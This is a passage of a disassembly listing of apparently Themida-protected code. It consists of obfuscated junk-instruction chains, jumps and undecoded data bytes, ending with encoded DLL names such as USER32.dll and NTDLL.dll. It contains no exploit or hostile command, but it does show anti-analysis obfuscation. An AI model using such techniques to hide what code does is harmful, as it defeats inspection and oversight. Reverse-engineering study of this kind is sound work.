loc_56F854:				; CODE XREF: Themida_:00569969j
		xchg	esi, edi
		neg	esi
		push	edi
		push	esi
		pop	edi
		pop	esi
		jmp	loc_56EEE4
; ---------------------------------------------------------------------------


loc_56F861:				; CODE XREF: Themida_:0056236Fj
		mov	[esp], esi
		jmp	loc_56B1CB
; ---------------------------------------------------------------------------
		db 0E9h, 0E7h, 0BCh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F86E:				; CODE XREF: Themida_:005705ECj
		push	0FFCh
		mov	[esp], ebp
		jmp	loc_56A676
; ---------------------------------------------------------------------------
		db 68h
		dd 5DE6229Fh, 66BB535Ah, 3172E655h, 2434FFDAh, 4C4835Bh
		dd 0FF40BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F895:				; CODE XREF: Themida_:0056E604j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_56DD02
; ---------------------------------------------------------------------------
		db 68h,	3Fh, 0Dh
		dd 0F75925A3h, 0C9C181D9h, 14694F3h, 0C73159C8h, 8124048Bh
		dd 4C4h, 578EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F8CA:				; CODE XREF: Themida_:0055CEDCj
		xor	edx, 43450DF1h
		sub	ebp, 428B2141h
		add	ebp, 1B876832h
		add	ebp, edx
		sub	ebp, 1B876832h
		jmp	loc_567A22
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0FCE95A04h, 68FFFEEDh, 2AAE15DBh, 81E6D15Eh,	1C6h, 3DF68100h
		dd 0E9007552h, 0FFFF9536h, 0C989E959h, 0DD04FFFFh, 0FFDA4AE9h
		dd 0FC8850FFh, 0ACE9E188h, 0D1FFFF20h, 0DA99E9E1h, 814AFFFFh
		dd 0ED2BEAC2h, 2FEA8104h, 811A7627h, 502B1DF2h,	865CE9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F942:				; CODE XREF: Themida_:0056CD3Cj
		push	7EFAh
		mov	[esp], edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56BE7B
; ---------------------------------------------------------------------------


loc_56F958:				; CODE XREF: Themida_:0055D719j
		pop	ecx
		jmp	loc_56133B
; ---------------------------------------------------------------------------


loc_56F95E:				; CODE XREF: Themida_:00563E51j
		add	edx, ecx
		jmp	loc_5638B5
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0C6h
		dd 0BD61513Ch, 7E875C34h, 0E95FFD31h, 0FFFF0371h
; ---------------------------------------------------------------------------


loc_56F978:				; CODE XREF: Themida_:0056D3BEj
		xor	ch, 95h
		mov	dh, ch
		pop	ecx
		jmp	loc_565A2D
; ---------------------------------------------------------------------------


loc_56F983:				; CODE XREF: Themida_:00562698j
		sub	ebx, 5A6631E6h
		push	esi
		jmp	loc_55E59B
; ---------------------------------------------------------------------------
		db 1
		dd 0C2835DEAh, 24148704h, 0D9BD555Ch, 1674E3Ch,	242C8BEBh
		dd 0E904C483h, 0FFFECAF1h, 79F1815Ah, 0E90B5C70h, 0FFFFD876h
		dd 0E9D1F759h, 0FFFF6BA4h
; ---------------------------------------------------------------------------


loc_56F9C0:				; CODE XREF: Themida_:0055EE60j
		and	ecx, 4792227Dh
		shl	ecx, 5
		shl	ecx, 6
		neg	ecx
		add	ecx, 24004h
		jmp	loc_55BE48
; ---------------------------------------------------------------------------
		db 58h,	0, 0EBh
		dd 0FFACBDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F9E1:				; CODE XREF: Themida_:0056C43Cj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		push	ebx
		mov	ebx, 376F1000h
		mov	ecx, 8CF78A64h
		sub	ecx, ebx
		jmp	loc_56FF0A
; ---------------------------------------------------------------------------


loc_56FA07:				; CODE XREF: Themida_:00564E1Fj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5677FA
; ---------------------------------------------------------------------------


loc_56FA19:				; CODE XREF: Themida_:00567309j
		or	ebx, 38BF3161h
		shl	ebx, 1
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		shl	ebx, 7
		add	ebx, 48A35133h
		mov	ebp, ebx
		pop	ebx
		mov	edx, 0A516A401h
		sub	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 58AC164Ch
		push	ecx
		mov	ecx, 0CC22FE79h
		xor	eax, ecx
		pop	ecx
		jmp	loc_5614A0
; ---------------------------------------------------------------------------
		db 87h
		dd 16E9243Ch, 0BEFFFED6h, 0A614FA45h, 295EF101h, 240C8BCDh
		dd 2904C483h, 685357FDh, 6C986F0Ah, 39F3815Bh, 81303A1Ah
		dd 0B0E583C3h, 0E9DF89B8h, 4C6h
; ---------------------------------------------------------------------------


loc_56FA84:				; CODE XREF: Themida_:0056A851j
		push	ecx
		mov	ecx, 3BD05FA0h
		push	ebp
		push	eax
		push	esi
		jmp	loc_56AEB8
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 4A74E981h, 815B7983h, 4C1h, 462D6800h, 0C0E90000h, 81FFFFC0h
		dd 8BF2BAEBh, 5BDE2128h, 0FFFFBB53h, 0DE01FFFFh, 81EED15Bh
		dd 0CD1CB3CEh, 4BC6816Ah, 689532E1h, 227h, 0BE243489h
		dd 0DDD4BF3h, 815EF129h, 0EE0CC9C1h, 0E9F10169h, 0FFFFD65Fh
		dd 0E0E9E689h, 81FFFEDDh, 0A12E01EEh, 45F6810Ch, 31FE6148h
		dd 4E9BE9F1h, 0FF66FFFFh, 0BA4BE930h, 0E681FFFEh, 775A709Ah
		dd 2D4BC681h, 0EB81FD0Ch, 198B17A2h, 41E9F329h,	81FFFF89h
		dd 7418AEC7h, 0A793E927h, 0C968FFFFh, 5D29B84Bh, 0FF3CA2E9h
		dd 52C381FFh, 0E9551858h, 0FFFFB755h, 5204EA83h, 0FEF3BBE9h
		dd 602DADFFh, 52075C28h, 1BF68h, 242C8900h, 0FFB48FE9h
		dd 405FFh, 4050000h, 87000000h,	0A2E92404h, 83FFFF7Ch
		dd 3C8704C7h, 0BD555C24h, 1B5E0A01h, 0FF11F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FB85:				; CODE XREF: Themida_:0057040Cj
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55D828
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1Ch
		jmp	loc_56228C
; ---------------------------------------------------------------------------


loc_56FBA4:				; CODE XREF: Themida_:00567DB9j
		pop	ecx
		shr	edi, 2
		shl	edi, 4
		xor	edi, ebp
		jmp	loc_56EC0C
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 0FEEE85E9h, 5EF589FFh, 9BC8ED81h, 0EB018653h, 4C3835Dh
		dd 8B241C87h, 4EE92424h, 4AFFFFD0h, 0FF37CDE9h,	243C33FFh
		dd 33243C31h, 0CE9243Ch, 1FFFF65h, 348759CEh, 24248B24h
		dd 9C242CD3h, 0FF4BE6E9h, 240489FFh, 4B8h, 58C62900h, 0FED05AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FC09:				; CODE XREF: Themida_:005672E6j
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5688E3
; ---------------------------------------------------------------------------
		db 0B9h
		dd 337950EEh, 0DEE9C889h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FC3B:				; CODE XREF: Themida_:0055D875j
		add	esp, 4
		add	dword ptr [esp+8], 4049Fh
		jmp	loc_55FCCF
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 12010072h, 3AE2C681h, 0F189E40Ah, 0F7E9815Eh, 0E930AFF0h
		dd 0FFFED9D5h
; ---------------------------------------------------------------------------


loc_56FC68:				; CODE XREF: Themida_:0056A553j
		push	eax
		mov	eax, 54B37FBFh
		add	eax, 1
		push	ecx
		mov	ecx, 0D905E49h
		or	eax, ecx
		pop	ecx
		add	eax, 0A24C803Bh
		add	ebx, eax
		jmp	loc_570108
; ---------------------------------------------------------------------------
		dw 0D15Ah
		dd 0C898E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FC8E:				; CODE XREF: Themida_:00560A85j
		mov	edi, 4A963B67h
		add	edi, 26EA2B19h
		shr	edi, 2
		inc	edi
		add	edi, 6249263Fh
		xor	edi, 0EC837A5h
		jmp	loc_561B0E
; ---------------------------------------------------------------------------
		dw 6856h
		dd 36DB6984h, 0BCC6815Eh, 817C2427h, 4C7496E6h,	0F5CE8171h
		dd 816C8B58h, 0F9401AF6h, 5EF38904h, 3618EBB9h,	0FFD93178h
		dd 815B2434h, 4C4h, 0E9CF2900h,	683h, 1A03CA81h, 0A3E9056Bh
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FCF3:				; CODE XREF: Themida_:00565906j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55F7AD
; ---------------------------------------------------------------------------
		dd 0C104C483h, 0D9F706E1h, 40F6F181h, 0F18171B0h, 0FB390F72h
		dd 0C8BCA01h, 4C48324h,	32E95755h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FD23:				; CODE XREF: Themida_:005659EBj
		and	ebx, esi
		mov	esi, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_56C985
; ---------------------------------------------------------------------------
		dw 0E1F6h
		dd 0FF849DE9h, 7B6850FFh, 0E9487F64h, 0FFFF28EDh, 0C781474Fh
		dd 107D076Ah, 2D25EF81h, 0F9299F32h, 59C8895Fh,	1942C681h
		dd 9BE966A7h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FD63:				; CODE XREF: Themida_:0056C6D5j
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		push	ebx
		push	ebp
		jmp	loc_56134C
; ---------------------------------------------------------------------------


loc_56FD74:				; CODE XREF: Themida_:0056B2CFj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_56B5CB
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 0BBh
		dd 6BE9CF00h
		db 7, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FD93:				; CODE XREF: Themida_:00560EC3j
		sub	bx, 15F0h
		add	bx, cx
		push	ax
		push	edx
		push	si
		mov	si, 15F0h
		jmp	loc_561167
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 74010000h, 0FF5E0424h, 0ADE92434h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FDBB:				; CODE XREF: Themida_:00563103j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56ABBC
; ---------------------------------------------------------------------------


loc_56FDC7:				; CODE XREF: Themida_:0055F139j
		mov	[esp], ecx
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		db 89h
		dd 0C1BD242Ch, 57262B48h, 73372BFh, 0E7D14F13h,	0FF9FE7E9h
		dd 81E689FFh, 4C6h, 4C68300h, 0FFCB80E9h, 4B850FFh, 0E9000000h
		dd 0FFFFF0A6h, 81BAE950h, 0EDB8FFFFh, 954BA6Dh,	0E08BE9C1h
		dd 815FFFFFh, 9AF31DC7h, 4815734h, 0EC0C8324h, 0EB815B6Dh
		dd 6DEC0C83h, 5BD8015Fh, 0C2E9h, 0C280500h, 0C8296744h
		dd 38DEE953h, 0FE01FFFFh, 5EF7015Fh, 5C243C87h,	4EC81h
		dd 0A8E90000h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FE53:				; CODE XREF: Themida_:0055B96Dj
		sub	ebp, eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_570771
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835B2434h, 6D6804C4h, 8900005Ch, 9668242Ch, 89000023h
		dd 0D2B82404h, 0E97B7401h, 0FFFF43C0h, 33243431h, 0E95C2434h
		dd 0FFFFE045h, 5BDA895Eh, 0FF9F70E9h, 48B66FFh,	4EC8124h
		dd 89000000h, 68572414h, 27CEh,	83242489h, 8B042404h, 0C483243Ch
		dd 0C5B85004h, 400B0D30h, 6E161035h, 79E90538h,	404869EDh
		dd 0AF5F4505h, 58C70162h, 4EF81h, 17E90000h
		db 2 dup(0FEh),	0FFh
; ---------------------------------------------------------------------------


loc_56FEDB:				; CODE XREF: Themida_:00562F75j
		push	esi
		jmp	loc_56527A
; ---------------------------------------------------------------------------
		db 0B9h, 0CDh, 2Eh
		dd 0C1810944h, 97E3229h, 55E9D129h, 57FFFF24h, 0FF1379E9h
		dd 0BA5240FFh, 841133BDh, 315AD001h, 0E330E9C7h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FF0A:				; CODE XREF: Themida_:0056FA02j
		pop	ebx
		xor	ecx, 653C6BA2h
		xor	esi, ecx
		pop	ecx
		jmp	loc_55C012
; ---------------------------------------------------------------------------
		db 0BBh, 0D5h, 55h
		dd 0D0B9563Fh, 0E947F308h, 0FFFF6D81h, 2C8BEF01h, 4C48124h
		dd 87000000h, 3AE9243Ch, 0BDFFFFBFh, 2,	2C8BEA01h, 4EA6E924h
		dd 815BFFFFh, 823021EFh, 0DCE7815Bh, 81429D7Eh,	0A96D7FEFh
		dd 7CF78124h, 0E99DE78Ah, 0FFFEE45Fh
; ---------------------------------------------------------------------------


loc_56FF68:				; CODE XREF: Themida_:0056D7BBj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		push	eax
		jmp	loc_56A58E
; ---------------------------------------------------------------------------
		db 1, 0D6h, 5Ah
		dd 16AF68h, 24048900h, 4BD55h, 0E8890000h, 58C6295Dh, 0FF4308E9h
		dd 0D7F797FFh, 0FF4B1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FF9D:				; CODE XREF: Themida_:00562581j
		add	dword ptr [esp+4], 79345518h
		push	esi
		mov	esi, 6E18683Ah
		sub	dword ptr [esp+8], 7A5B1FF0h
		sub	[esp+8], esi
		add	dword ptr [esp+8], 7A5B1FF0h
		jmp	loc_56A6DD
; ---------------------------------------------------------------------------


loc_56FFC4:				; CODE XREF: Themida_:0056CE6Dj
		sub	eax, 9EA68D1Ah
		sub	ebx, 7DDC6D8Bh
		sub	ebx, 47B3AF4h
		add	ebx, eax
		add	ebx, 47B3AF4h
		add	ebx, 7DDC6D8Bh
		jmp	loc_56A368
; ---------------------------------------------------------------------------
		dd 2434FF5Bh, 62B46858h, 4890000h, 52E08924h, 0BE26EFBAh
		dd 0A5BD553Fh, 0C13C0B64h, 0DDF708EDh, 0FFF6E1E9h, 405FFh
		dd 0C0830000h, 24048704h, 4BE565Ch, 1000000h, 97EDE9F3h
		dd 0E981FFFFh, 473D6443h, 2ECDC181h, 835B299Fh,	0D8E904E9h
		dd 51FFFF56h, 154C0EB9h, 5FE98174h, 29A62451h, 0E05FE9CFh
		dd 0AF68FFFFh, 89000050h, 0E9542434h, 0FFFF8A27h, 0E95DE801h
		dd 0FFFFD8F8h
; ---------------------------------------------------------------------------


loc_570064:				; CODE XREF: Themida_:00569728j
		pop	eax
		xor	eax, 4C417FD6h
		shl	eax, 3
		jmp	loc_568C44
; ---------------------------------------------------------------------------


loc_570072:				; CODE XREF: Themida_:0056D907j
		mov	bx, [esp]
		push	ebp
		jmp	loc_566F17
; ---------------------------------------------------------------------------
		dd 1240483h, 0B14BE95Fh, 0EE28FFFFh, 83240C8Bh,	0F38804C4h
		dd 6EBC05Ah, 0EB80C3FEh, 0F65366FFh, 5B662414h,	349D68h
		dd 24048900h, 0C4806AB4h, 0FAB353FCh, 0F6E9DC30h, 66FFFFACh
		dd 57240C8Bh, 0C7815F54h, 4, 2B850h, 0C7010000h, 243C8758h
		dd 2824248Bh, 0E6E952C3h, 0ADFFFEF3h, 4EC81h, 0C890000h
		dd 62C1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5700EA:				; CODE XREF: Themida_:00560731j
		xor	dh, 0C6h
		jmp	loc_55D0F1
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 223076B0h, 57C20159h, 8252E1BFh, 0E9DFF765h,	0FFFED316h
; ---------------------------------------------------------------------------


loc_570108:				; CODE XREF: Themida_:0056FC81j
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_565245
; ---------------------------------------------------------------------------
		db 54h
		dd 0FEF578E9h, 240489FFh, 0EB055BB8h, 0BF685601h, 5E1D7206h
		dd 88BA524Eh, 0C157A151h, 0EA8107E2h, 859657A9h, 0FFD4E4E9h
		dd 0E9D589FFh, 0FFFF2F40h
; ---------------------------------------------------------------------------


loc_570150:				; CODE XREF: Themida_:0056365Bj
		shl	eax, 3
		push	3915h
		mov	[esp], edi
		jmp	loc_5648DD
; ---------------------------------------------------------------------------
		dd 0E9E08950h, 0FFFFC370h, 90BD5557h, 0F734DF4Fh, 62CD81D5h
		dd 0F746AA60h, 0AEBE56D5h, 0E9B2E4ADh, 0FFFF7BF3h
; ---------------------------------------------------------------------------


loc_570184:				; CODE XREF: Themida_:0055BC4Fj
		mov	[esp], eax
		mov	eax, 3DBC1085h
		jmp	loc_565DC4
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXhK		db 'Xh¼K',0
		align 2
		dw 2C89h
		dd 0D621E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5701A2:				; CODE XREF: Themida_:0056DC3Ej
		pop	eax
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, edx
		mov	[edi+20h], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		jmp	loc_55EDC0
; ---------------------------------------------------------------------------


loc_5701C0:				; CODE XREF: Themida_:00569E66j
		push	15AFh
		mov	[esp], ebx
		mov	ebx, 6E5778C0h
		add	ebx, 9B72E237h
		jmp	loc_564D83
; ---------------------------------------------------------------------------
		dd 4C581h, 2C870000h, 0EC835C24h, 24348904h, 216268h, 24248900h
		dd 4BB53h, 5C010000h, 0E95B0424h, 0FFFFEA34h, 4C4835Ah
		dd 8B2434FFh, 54522434h, 48BF575Ah, 0E902FB7Fh,	0FFFECB4Fh
		dd 0FEB338E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57021D:				; CODE XREF: Themida_:0055DF8Cj
		pop	edx
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 0EBE0E900h, 0EC81FFFFh, 4, 89241489h, 5BB951E2h
		dd 0C137972Dh, 0D1F705E1h, 0ACFC181h, 0F1811762h, 247C5F6Ah
		dd 0E959CA01h, 0FFFFF8ECh, 3304C483h, 4312404h,	24043324h
		dd 2024248Bh, 0E99C2404h, 0FFFF0323h, 0E95FF901h, 0FFFEEFDEh
		dd 6624248Bh, 0E9C8B60Fh, 0FFFFE530h, 8324248Bh, 0C8904ECh
		dd 4EC8124h, 89000000h,	0B252241Ch, 0E9C1B70Bh,	0FFFEB695h
		dd 3C1709BDh, 0C389E915h, 0F300FFFFh, 0E924148Bh, 0FFFF306Eh
; ---------------------------------------------------------------------------


loc_5702B4:				; CODE XREF: Themida_:00562C6Ej
		pop	esp
		or	eax, eax
		jz	loc_56A122
		push	dword ptr [edi+1Ch]
		jmp	loc_55DD03
; ---------------------------------------------------------------------------


loc_5702C5:				; CODE XREF: Themida_:0055FEABj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		movzx	eax, al
		jmp	loc_56EF35
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 57E9241Ch, 81FFFEFBh, 4ECh, 240C8900h, 0ABF5753h
		dd 813B8148h, 0AF1C9EFh, 5FFB891Ch, 8701C383h, 87D1F7CBh
		dd 0B9B850CBh, 0E935103Bh, 0FFFEE476h, 0A320D505h, 0E9D82907h
		dd 0FFFEDF43h
; ---------------------------------------------------------------------------


loc_570324:				; CODE XREF: Themida_:00562D9Aj
		mov	ebp, 32A2363Eh
		jmp	loc_564DB6
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0B6E90000h, 66FFFFC2h, 6824048Bh, 79F4h, 89243C89h
		dd 8ECCE9E7h, 0AF05FFFFh, 534A208h, 7AB71C9Ch, 286C68h
		dd 240C8900h, 2C69BA52h, 0FCE952BCh, 8BFFFFE7h,	0C483240Ch
		dd 0D6D1E904h, 43B6FFFFh, 80B1B151h, 0D9F69FC1h, 0FFDB82E9h
		dd 8833B1FFh, 240C8BCAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		push	ebp
		mov	ebp, 4
		mov	eax, ebp
		pop	ebp
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		xor	al, dl
		mov	edx, [esp]
		push	ecx
		jmp	loc_56B794
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 25h
		dd 1FFFF22h, 54E505C8h,	685903C1h, 0D4h, 0FF240489h, 58042474h
		dd 5C24048Fh, 0E9E9F766h, 0FFFF123Eh, 0E92434FFh, 0FFFF8296h
		dd 14F7564Eh, 24348B24h, 0FEE77DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5703ED:				; CODE XREF: Themida_:00565E0Fj
		sub	esi, 25145C6Dh
		jmp	loc_5672B2
; ---------------------------------------------------------------------------
		dd 11E9CB89h, 0ACFFFFB9h, 0FF17B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570405:				; CODE XREF: Themida_:00567E81j
		pop	esi
		add	ebx, 4
		jmp	loc_56FB85
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4EE8100h, 87000000h, 0CCE92434h, 8BFFFF4Ch, 0C483242Ch
		dd 0BFBF5704h, 4F1E8460h, 6E79F781h, 0CF817F1Bh, 475F4C4Bh
		dd 8103E7C1h, 5898AC7h,	46ABE9C1h, 0F201FFFFh, 4C2815Eh
		dd 0E9000000h, 0FFFFB0F9h
; ---------------------------------------------------------------------------


loc_57045C:				; CODE XREF: Themida_:00560A97j
		add	dword ptr [esp], 0A7A4070h
		pop	ebx
		push	ebp
		mov	ebp, 22252680h
		sub	ebp, 41F35464h
		sub	ebp, 0D5B791ACh
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_56E105
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 8104C483h, 4A3CEFEFh, 81DF2976h, 4A3CEFC7h
		dd 2434FF76h, 757EE95Bh, 8B5AFFFFh, 0FCE9243Ch,	81FFFFC4h
		dd 4E9h, 240C8700h, 8924248Bh, 3DB7241Ch, 0E780DFF6h, 80C7FE8Ah
		dd 50519AE7h, 2AE901B4h, 81FFFEB8h, 895864E9h, 3DC3E97Ah
		dd 50BAFFFFh, 500FA548h, 0B2071B8h, 15113556h, 8C2527F3h
		dd 0E9606146h, 0FFFECE45h, 24048B66h, 4EC8351h,	57242489h
		dd 4BFh, 5FD0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570512:				; CODE XREF: Themida_:005614BDj
		mov	esi, 7581F0Dh
		and	eax, esi
		pop	esi
		jmp	loc_56086A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0C4E18100h, 0E935C36Fh, 0FFFFC76Ch
; ---------------------------------------------------------------------------


loc_570530:				; CODE XREF: Themida_:0055EDD3j
		xchg	edx, [esp]
		mov	esp, [esp]


loc_570536:				; CODE XREF: Themida_:0055CAC9j
					; Themida_:loc_565C5Ej
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_56F2F3
; ---------------------------------------------------------------------------
		db 28h,	0F0h, 66h
		dd 0C527E951h, 0BD55FFFFh, 395C2775h, 575DE801h, 0FF226FE9h
		dd 11B0BAFFh, 0DAF76576h, 0FF6404E9h, 5C829FFh,	14E1236Ch
		dd 0E6FFE959h, 64B5FFFEh, 0FEF26FE9h, 4C481FFh,	52000000h
		dd 0C919E8BAh, 1491E973h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57058A:				; CODE XREF: Themida_:0055F307j
		shl	eax, 2
		shl	eax, 2
		push	ebp
		mov	ebp, 5B7E49FAh
		shr	ebp, 4
		xor	ebp, 3B08B096h
		jmp	loc_5629D4
; ---------------------------------------------------------------------------


loc_5705A4:				; CODE XREF: Themida_:00561102j
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_562A98
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 42h
		dd 81460217h, 0E73C3CC3h, 27E94B2Fh, 58FFFF38h,	815DEE01h
		dd 501520EEh, 0D8BF5747h, 813E8537h, 66EB5BEFh,	5FFE293Eh
		dd 5A2434FFh, 0FF9A83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5705E9:				; CODE XREF: Themida_:0056E8B1j
		add	esp, 4
		jmp	loc_56F86E
; ---------------------------------------------------------------------------
		db 5Fh,	0FFh, 34h
		dd 0C4815A24h, 4, 0FF6A74E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570601:				; CODE XREF: Themida_:0056E1F5j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	edi, 4C470F8Fh
		jmp	loc_5643B1
; ---------------------------------------------------------------------------


loc_570613:				; CODE XREF: Themida_:0056A437j
		xor	esi, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565C5E
; ---------------------------------------------------------------------------
		db 47h
		dd 0D3D9E947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57062E:				; CODE XREF: Themida_:00560873j
		mov	dh, ch
		pop	cx
		jmp	loc_56CD59
; ---------------------------------------------------------------------------


loc_570637:				; CODE XREF: Themida_:0056DDA9j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55DD87
; ---------------------------------------------------------------------------
		dd 56242C89h, 0C681E689h, 4, 8704EE83h,	0E95C2434h, 0FFFF8C31h
		dd 164BCD81h, 4BE91EFCh, 0E9FFFF4Dh, 0FFFEAEEDh
; ---------------------------------------------------------------------------


loc_570668:				; CODE XREF: Themida_:0055C39Bj
		push	ebx
		push	edx
		mov	edx, 69BB31A4h
		jmp	loc_562DC9
; ---------------------------------------------------------------------------
		dd 901D8ABBh, 0DFEB8101h, 8116DE23h, 4ECh, 240C8900h, 0C648FB9h
		dd 59CB093Ah, 37B5E381h, 0BD556297h, 5224027Ah,	49FFCD81h
		dd 0EEE97212h, 89FFFF9Bh, 0E953242Ch, 0FFFF4401h, 9C241CF7h
		dd 0FED0C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5706B9:				; CODE XREF: Themida_:0055D106j
		mov	[esp], ecx
		mov	ch, 0A3h
		add	al, 0B9h
		add	al, ch
		jmp	loc_56569A
; ---------------------------------------------------------------------------
		db 58h
		dd 0E924148Bh, 0FFFFE51Ch, 0E92434FFh, 0FFFEB845h, 8B240C33h
		dd 0F2812424h, 449D4AC4h, 0FF31B2E9h, 685553FFh, 23445C07h
		dd 2AAE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5706F6:				; CODE XREF: Themida_:00564B42j
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		jmp	loc_56ECED
; ---------------------------------------------------------------------------
aN1Rhh		db '­1ØRhh-',0
		dw 8900h
		dd 78E9242Ch, 8BFFFEF0h, 1BE9241Ch
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57071F:				; CODE XREF: Themida_:0056D0CDj
		shr	esi, 4
		shl	esi, 5
		xor	esi, 46134BC2h
		not	esi
		or	esi, 526458ABh
		add	esi, 7CAC4D14h
		xor	esi, 4329497Ah
		or	ecx, esi
		pop	esi
		xor	ecx, 5F322205h
		push	esi
		mov	esi, ecx
		mov	edx, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, edi
		jmp	loc_55CD5E
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 229AE957h, 0EA88FFFFh, 0FF7BE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570771:				; CODE XREF: Themida_:0056FE5Aj
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_56EBCD
; ---------------------------------------------------------------------------


loc_57078E:				; CODE XREF: Themida_:0056B063j
		push	3
		mov	[esp], edx
		push	ebx
		xor	dword ptr [esp], 3EC77B30h
		pop	edx
		push	ecx
		mov	ecx, 6E797728h
		jmp	loc_563E3D
; ---------------------------------------------------------------------------
		dw 0D789h
		dd 0E924148Bh, 0FFFED1BBh
; ---------------------------------------------------------------------------


loc_5707B4:				; CODE XREF: Themida_:005643BDj
		mov	ebp, 7F753E71h
		and	ebp, 48A53F99h
		push	edx
		push	1D6B2925h
		pop	edx
		jmp	loc_56F37F
; ---------------------------------------------------------------------------
		db 0E9h
		dd 67h,	68FE6F00h, 52455355h, 642E3233h, 41006C6Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch
		dd 50008h, 2001Fh, 170008h, 30Ch, 0Bh dup(0)
		dd 0E9000000h, 875h, 149F3568h,	0E1CFE906h, 0A168FFFDh
